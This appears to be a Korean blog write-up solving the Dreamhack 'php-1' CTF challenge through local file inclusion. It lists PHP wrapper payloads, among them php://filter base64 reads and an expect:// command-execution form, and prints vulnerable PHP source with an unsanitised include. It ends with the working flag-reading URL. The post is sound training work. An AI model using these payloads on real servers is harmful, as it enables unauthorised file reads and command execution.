CTF/Dreamhack.io

[Web] php-1

현생준비중 2022. 1. 21. 14:26

LFI라고 한다. /var/www/uploads/flag.php 에 플래그가 있다고 하니 기억해두자

이번에도 문제 파일을 보지 않고 진행해봤다.

 

음.. 바로 flag.php?

hxxp://host1.dreamhack.games/?page=view&file=../uploads/flag.php

바로 출력을 하도록 했는데 Permission denied다. 권한 설정이 되어있는 것 같은데..

LFI면 php의 기능을 이용해서 파일을 base64로 디코딩/인코딩해서 가져왔던 기억이 있다.

그게 정확하게 이름이 뭔지 몰라서 헤맸는데 찾아보니 PHP Wrapper라고 한다.

 

https://www.php.net/manual/en/wrappers.php

 

PHP: Supported Protocols and Wrappers - Manual

Even though their names will be the same, you can have more than one //memory or //temp stream open concurrently; each time you fopen() such a stream, a NEW stream will be opened independently of the others.This is hinted at by the fact you don't add any u

www.php.net

Table of Contents

이렇게 존재한다고 하는데.. LFI에서 유용하게 쓰이는 Wrapper는 아래와 같다.

더보기

php://filter/convert.base64-encode/resource=파일명

ex) http://localhost/view.php?file=php://filter/convert.base64-encode/resource=flag.txt

expect://[system-command]

ex) http://localhost/view.php?file=expect://ls

zip://file.zip#context.php

ex) http://localhost/view.php?file=zip://file.zip#flag.php

php://filter의 경우 base64말고도 지원하는게 많다.

https://www.php.net/manual/en/filters.php

 

PHP: List of Available Filters - Manual

List of Available Filters Table of Contents The following is a list of a few built-in stream filters for use with stream_filter_append(). Your version of PHP may have more filters (or fewer) than those listed here. It is worth noting a slight asymmetry bet

www.php.net

 

php://filter/convert.base64-encode/resource=/var/www/html/uploads/flag.php로 시도를 계속 해봤다.

근데 계속 Permission denied가 뜬다. 뭔가 이상하니 소스코드를 봐보자.

 

# view.php
<h2>View</h2>
<pre><?php
    $file = $_GET['file']?$_GET['file']:'';
    if(preg_match('/flag|:/i', $file)){
        exit('Permission denied');
    }
    echo file_get_contents($file);
?>
</pre>

아.. flag:/가 필터링되어 무조건 Permission denied가 출력된다. 그래서 그랬던거군!

권한 문제인줄 알았더니..

 

view.php로는 안될거 같고.. 다른 곳을 공략하기 위해서 소스코드를 뜯어보던 차에 index.php에서 가능성을 찾았다.

#index.php
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>PHP Back Office</title>
</head>
<body>
    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">PHP Back Office</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="/?page=list">List</a></li>
            <li><a href="/?page=view">View</a></li>
          </ul>

        </div><!--/.nav-collapse -->
      </div>
    </nav><br/><br/>
    <div class="container">
      <?php
          include $_GET['page']?$_GET['page'].'.php':'main.php';
      ?>
    </div> 
</body>
</html>

page 파라미터에 해당하는 파일이 존재하면 그 내용을 include하고 아니면 main.php를 띄운다.

그래서 php 형태로 flag를 준거구나..

view-source:hxxp://host1.dreamhack.games:10105/?page=/var/www/uploads/flag

$flag의 내용을 보기 위해서는 Wrapper가 필요해 보이기는 한다.

view-source:hxxp://host1.dreamhack.games:10105/?page=php://filter/convert.base64-encode/resource=/var/www/uploads/flag

저걸 Decode 하면 Flag가 나온다! 끗!